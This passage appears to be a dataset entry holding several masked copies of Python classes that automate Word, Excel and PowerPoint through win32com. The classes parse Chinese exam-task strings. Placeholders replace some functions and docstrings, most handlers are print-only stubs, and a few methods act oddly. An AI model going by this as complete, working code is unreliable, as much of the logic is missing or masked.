OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n\n def pageOper(self):\n pass\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n\n def pageOper(self):\n pass\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n\n def pageOper(self):\n pass\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def 